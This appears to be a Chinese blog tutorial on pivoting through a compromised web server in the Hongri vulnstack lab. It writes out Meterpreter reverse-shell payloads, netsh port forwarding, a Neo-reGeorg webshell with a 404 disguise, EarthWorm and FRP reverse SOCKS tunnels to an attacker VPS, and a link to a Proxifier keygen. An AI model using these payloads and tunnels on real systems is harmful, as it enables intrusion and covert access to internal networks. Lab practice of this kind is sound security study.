内网隧道代理

本文介绍了如何使用Metasploit框架在内网环境中进行渗透,包括msf上线Web服务器、端口转发、网络隧道(如proxychains4和FRP)的配置,以及正向和反向代理的方法。作者详细展示了如何通过各种工具和技术绕过网络限制,进行安全测试和渗透操作。
摘要由CSDN通过智能技术生成

前言

好久没写文章,刚学了点内网代理之类的内容,简单说一下,这里使用的是红日域渗透靶机,由于内网渗透的前提是已经拿下一台Web服务器或者任意的一台内网主机作为跳板机进一步对内网的其他主机进行渗透,由于内网的其他服务器并不完全是出网的,所以需要一台中转机帮我们做这个网络通信。这里就简单粗暴直接使用msf上线一台Web服务器,省略了前面的Web渗透过程。

环境搭建

靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

默认密码都是:hongrisec@2019

网络模式:域内网络则为仅主机模式,Win7公网环境则为Nat模式,可一切保持原来的网络配置,因为真实的环境都是千变万化的,主动适应不同的网段环境。

配置信息

DC:Win2008

ip:192.168.52.138

域内机器:Win2003

(这台机子貌似有点问题?有时候密码正确了也进不去系统。可能需要调整一下网络模式)

ip:192.168.52.141

Web:Win7

ip1:192.168.52.128(仅主机模式), ip2:192.168.30.180(NAT模式)

攻击机:Kali

ip:192.168.30.102(Nat模式)

msf上线一台Web服务器

kali生成msf木马

#Linux
反向连接:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=444 -f elf > shell.elf
正向连接:
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > shell.elf

#Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > shell.exe

msf使用/exploit/multi/handler模块

payload设置与木马生成的一致

file

开始监听,将shell.exe移动到Win7上面,并执行

成功上线

file

内网端口转发

这边潜潜使用渗透常用的3个端口进行实验,80、3389、3306

远程端口转发

简单来说,就是利用了防火墙将远端的端口映射到中间机子的端口,比如:把域控Win2008的80端口映射到中间机子的8080端口,然后攻击机访问中间机子的8080端口相当于访问了内网域控Win2008的80端口。

这边msf使用shell命令直接进入Win7的命令行

#在Win7上执行
#把本地的8080端口转发到远程的192.168.52.138的80端口
netsh interface portproxy add v4tov4 listenport=8080 connectport=80 connectaddress=192.168.52.138


#放行从本地8080端口进来的流量
netsh advfirewall firewall add rule name="8080" protocol=TCP dir=in localport=8080 action=allow

#查看防火墙配置(可看到具体规则等配置)
netsh firewall show config

#删除本地转发8080端口
netsh interface portproxy delete v4tov4 listenport=8080
#删除放行8080端口的防火墙策略
netsh advfirewall firewall delete rule name="8080"

访问Win7的8080端口即可成功访问到域控的80端口

file

尝试使用上面的命令把中间机的3399端口映射到远程域控端口3389

kali远程桌面命令

rdesktop 192.168.30.180:3399

file

开启mysql远程主机访问权限,在生产环境切记打开,本文主要以实验为主

use mysql;
#切记:以下的password代表mysql的root密码,请根据实际情况进行修改
grant all privileges  on *.* to root@'%' identified by "<password>";
flush privileges;
select host,user,password from mysql.user;

尝试使用上面的命令把中间机的3306端口映射到远程域控端口3306

这里使用3306端口是因为中间机子没有数据库开启服务,要是怕混淆可以将本地端口修改其他端口。

file

本地端口转发

简单来说,就是kali攻击机通过中间机将域控的端口映射到kali攻击机的端口上,中间机不再映射域控端口,改为由kali进行映射,我们可以直接访问kali攻击机的映射端口也可直接访问到远程域控的资源,例如:将远程域控80端口映射到kali的8888端口。这样做的好处就是不需要中间机开放防火墙策略也能直接访问,相对来说省事一点把,直接在msf上操作就行,中间机相当于一个传话人了。

在msf上进行操作:

#将域控的80端口映射到kali的8888端口
portfwd add -l 8888 -p 80 -r 192.168.52.138

#将域控的3306端口映射到kali的3307端口
portfwd add -l 3307 -p 3306 -r 192.168.52.138

#将域控的3389端口映射到kali的3389端口
portfwd add -l 3389 -p 3389 -r 192.168.52.138

file

访问kali对应的端口也可达到上面的操作。

隧道代理

端口转发的操作还是太繁琐了一点,只适合临时打开对应的端口的场景下,要是需要打开大量的端口,这样一条条添加端口就 显得太累赘了。使用隧道代理的方式就可以直接访问内网主机的对应服务的资源,省去了端口转发的流程了。

到底什么是不出网?

不出网大多数是由于防火墙规则以及路由等原因导致的 主机不能访问特定外部端口或者IP(注意是主机往外访问不了,不是外面访问不了主机,很多人会理所当然的理解成主机不出网=与世隔绝) ,如果限定了ip白名单我们无能为力,如果只开放了特定的端口,我们可以对特定的出网端口进行探测和利用

msf代理

添加内网路由

#获取内网信息
run get_local_subnets

#添加52网段的路由
run autoroute -s 192.168.52.0/24

#查看添加的路由
run autoroute -p

#删除添加的路由
run autoroute -d -s 192.168.52.0/24

使用background命令将session后台运行

msf使用use auxiliary/server/socks_unc,设置sock代理

配置图如下

file

开始运行…

#配置代理服务器
vim /etc/proxychains4.conf
socks5  127.0.0.1 1080#最后一行添加这段内容

尝试直接访问52.138域控服务器的80端口

proxychains4 curl -I 192.168.52.138

file

auxiliary/server/socks_unc有个弊端,不能在后台运行,这样的话,msf的其他功能都使用不了。

那么我们可以换个模块

msf使用use auxiliary/server/socks_proxy,这个模块的好处是不仅可以后台运行,而且还可以设置sock4和sock5不同版本。

使用方式和上面一致。

msf代理也有弊端,只能代理转发tcp的流量,所以,icmp和udp流量是转发不了的,远程桌面和mysql都不行,难过ing…

Web代理-Neg-reGeorg

代理工具:https://github.com/L-codes/Neo-reGeorg

生成webshell

#password填连接密码
python3 neoreg.py generate -k <password>

Win7开启Web服务

生成后根据Web服务器上传对应的Webshell文件,以PHP文件为例

file

#设置代理
vim /etc/proxychains4.conf

Web80端口成功访问file

远程桌面3389端口成功访问

rdesktop 192.168.30.180:3399

file

MySQL3306成功访问

proxychains4 mysql -uroot -p'password' -h 192.168.52.138

file

特殊用法

#伪装404
python neoreg.py generate -k <you_password> --file 404.html --httpcode 404

# 如需 Authorization认证和定制的Header或Cookie
python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

#需要分散请求,可上传到多个路径上,如内存马
python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...

#使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
python neoreg.py -k <you_password> -u <url> -t <ip:port>

唯一的缺点就是得有Web服务器…

Earthworm工具

该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,官网已停止更新。

工具地址:https://github.com/z1un/ew

Windows客户端代理-proxifier

工具下载地址:https://www.proxifier.com/

破解工具下载地址:https://github.com/y9nhjy/Proxifier-Keygen

破解教程:https://blog.csdn.net/weixin_51280668/article/details/132309582

正向代理

有个内网资源,直接访问是访问不了,可以直接访问代理服务器,并且把需要访问的资源通过代理服务器进行访问,然后将响应传回,这个前提是可以访问代理服务器。

上传对应文件到被控制后的中间机

这里以上传exe为例

使用上面的msf上线方法执行命令

#开启代理服务器并监听1088端口
ew_for_win.exe -s ssocksd -l 1088

后面的操作基本与上面一致,不重复操作

反向代理

假设被控制的Web服务器没有公网IP(钓鱼横向),但是能访问公网,无法使用正向连接,可使用反弹连接的方式代理流量。 在攻击机Hack本地启动流量转发,将来自外部1080端口的流量转发到本地8888端口,并等待目标反弹连接。可以在公网上搭建vps服务器,让vps作为临时代理服务器,被控制的Web服务器将你需要访问的内网资源转发到公网的vps服务器上,然后直接访问将本机的客户端代理服务器设置为vps即可访问内网的资源。

file

vps服务器设置:

#攻击机设置代理服务器端口为vps的1080,被控制的web服务器设置vps的9999转发端口
./ew -s rcsocks -l 1080 -e 9999 #将1080端口收到的代理请求转发给反连9999端口的主机

被控制的web服务器设置

./ew -s rssocks -d <vps服务器地址> -e 9999

攻击机设置代理服务器为vps服务器地址的1080端口,即可访问内网服务器的资源

FRP工具

frp 是一款高性能的反向代理应用,专注于内网穿透。它支持多种协议,包括 TCP、UDP、HTTP、HTTPS 等,并且具备 P2P 通信功能。使用 frp,您可以安全、便捷地将内网服务暴露到公网,通过拥有公网 IP 的节点进行中转。

工具下载地址:https://github.com/fatedier/frp

反向代理

1、frp是有一个客户端,一个服务器端,首先配置服务器端的frp配置;frpc后面跟着一个c,大家应该知道是client的首字母,frps也是一样server;这样就容易理解所对应的文件是干嘛的了,frpc.ini和frps.ini分别对应客户端和服务器端的配置文件;

如果被控制的Web服务器和vps服务器的系统不一致,还需下载对应的版本。例如:vps是Linux则需要Linux版本的frps,被控制的Web服务器是Windows的则需要Windows版本的frpc,注意:客户端和服务端使用的配置是不一样的。

上传并配置vps的frps.toml文件

bindAddr = "0.0.0.0"
bindPort = 7000
webServer.addr = "0.0.0.0"
webServer.port = 7500
webServer.user = "admin"
webServer.password = "admin"

开启代理,等待被控制的web服务器连接

./frps -c frps.toml

file

上传并配置被控制的web服务器的frpc.toml文件

serverAddr = "119.29.145.4"
serverPort = 7000

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"
username = "socks5"
password = "socks5"

执行命令,并连接vps

./frpc -c frpc.toml
  • 6
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要基于SSH隧道和Chrome插件SwitchyOmega访问内机器,你可以按照以下步骤进行设置: 1. 在你的内机器上启动SSH服务器,并确保已经正确配置了SSH登录和端口转发。 2. 在本地计算机上安装SSH客户端,比如OpenSSH(Windows上可以使用PuTTY)。 3. 使用SSH客户端创建一个SSH隧道,将本地计算机的某个端口与内机器的某个端口进行绑定。例如,如果你希望访问内机器的SSH服务(默认端口22),可以执行以下命令: ``` ssh -L 8888:localhost:22 username@内机器IP ``` 这将在本地计算机的8888端口上创建一个SSH隧道,将流量转发到内机器的SSH服务。 4. 安装Chrome浏览器插件SwitchyOmega,它可以帮助你设置指定规则的代理服务器。 5. 打开SwitchyOmega插件的选项页面,并创建一个新的情景模式(Profile),将代理服务器设置为本地计算机上创建的SSH隧道,即将代理服务器配置为`127.0.0.1:8888`。 6. 在SwitchyOmega中设置规则,将需要通过SSH隧道访问的内址或域名配置为使用刚刚创建的情景模式。 7. 确保SwitchyOmega插件已经启用,并且选择了刚刚创建的情景模式。 现在,当你访问被配置为使用SSH隧道的内址或域名时,Chrome浏览器将通过SSH隧道连接到内机器,实现访问内机器的功能。 请注意,这只是一种基于SSH隧道和SwitchyOmega插件的方法,你也可以尝试其他工具和方法来实现类似的目的。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值